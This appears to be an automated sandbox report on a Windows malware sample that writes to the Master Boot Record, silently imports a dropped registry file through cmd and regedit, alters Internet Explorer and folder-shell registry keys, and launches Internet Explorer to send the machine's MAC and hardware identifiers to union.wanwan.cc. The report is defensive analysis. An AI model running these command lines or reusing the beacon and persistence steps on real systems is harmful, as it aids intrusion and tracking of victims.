Malware Analysis Report

2025-08-10 14:17

Sample ID 241016-b2jtgaweld
Target 4adca049e14c2d79ef528c1203e233f5_JaffaCakes118
SHA256 1a2ff4068fbe1eb0c3a71ce171a5d0d1787efbf69eb416b36529eea89dee52df
Tags
bootkit discovery persistence
score
6/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
6/10

SHA256

1a2ff4068fbe1eb0c3a71ce171a5d0d1787efbf69eb416b36529eea89dee52df

Threat Level: Shows suspicious behavior

The file 4adca049e14c2d79ef528c1203e233f5_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary

bootkit discovery persistence

Writes to the Master Boot Record (MBR)

Unsigned PE

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Runs .reg file with regedit

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-16 01:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-16 01:38

Reported

2024-10-16 01:40

Platform

win7-20240708-en

Max time kernel

120s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regedit.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{53AC1051-8B5F-11EF-93A0-E2BC28E7E786} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders" C:\Windows\SysWOW64\regedit.exe N/A

Runs .reg file with regedit

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regedit.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3020 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 3020 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 3020 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 3020 wrote to memory of 2828 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2632 wrote to memory of 2484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 2632 wrote to memory of 2484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 2632 wrote to memory of 2484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 2632 wrote to memory of 2484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 2828 wrote to memory of 2204 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2828 wrote to memory of 2204 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2828 wrote to memory of 2204 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2828 wrote to memory of 2204 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Processes

C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=E2BC28E7E786&Hard=DD00013&ClientType=Home&Process=32&UserID=0002&Authen=812-443

C:\Windows\SysWOW64\regedit.exe

regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2828 CREDAT:275457 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 union.wanwan.cc udp
US 13.248.252.114:80 union.wanwan.cc tcp
US 13.248.252.114:80 union.wanwan.cc tcp

Files

memory/3020-1-0x0000000000020000-0x0000000000022000-memory.dmp

memory/3020-0-0x0000000000400000-0x000000000040D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\getback.reg

MD5 626e2d76f5c328d57a3eff6a7f94d129
SHA1 210fd33fa005775b30a8fd40a065a2e788934216
SHA256 5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e
SHA512 629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

memory/3020-15-0x0000000000400000-0x000000000040D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-16 01:38

Reported

2024-10-16 01:40

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regedit.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{53D99E55-8B5F-11EF-B9D5-CAFD856C81B1} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders" C:\Windows\SysWOW64\regedit.exe N/A

Runs .reg file with regedit

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regedit.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4568 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 4568 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 4568 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Windows\SysWOW64\cmd.exe
PID 4568 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 4568 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 3028 wrote to memory of 4236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 3028 wrote to memory of 4236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 3028 wrote to memory of 4236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regedit.exe
PID 1792 wrote to memory of 1884 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 1792 wrote to memory of 1884 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 1792 wrote to memory of 1884 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Processes

C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=CAFD856C81B1&Hard=232138804165&ClientType=Home&Process=87&UserID=0002&Authen=816-727

C:\Windows\SysWOW64\regedit.exe

regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1792 CREDAT:17410 /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 union.wanwan.cc udp
US 13.248.252.114:80 union.wanwan.cc tcp
US 13.248.252.114:80 union.wanwan.cc tcp
US 8.8.8.8:53 114.252.248.13.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp

Files

memory/4568-0-0x0000000000400000-0x000000000040D000-memory.dmp

memory/4568-1-0x00000000001C0000-0x00000000001C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\getback.reg

MD5 626e2d76f5c328d57a3eff6a7f94d129
SHA1 210fd33fa005775b30a8fd40a065a2e788934216
SHA256 5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e
SHA512 629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

memory/4568-15-0x0000000000400000-0x000000000040D000-memory.dmp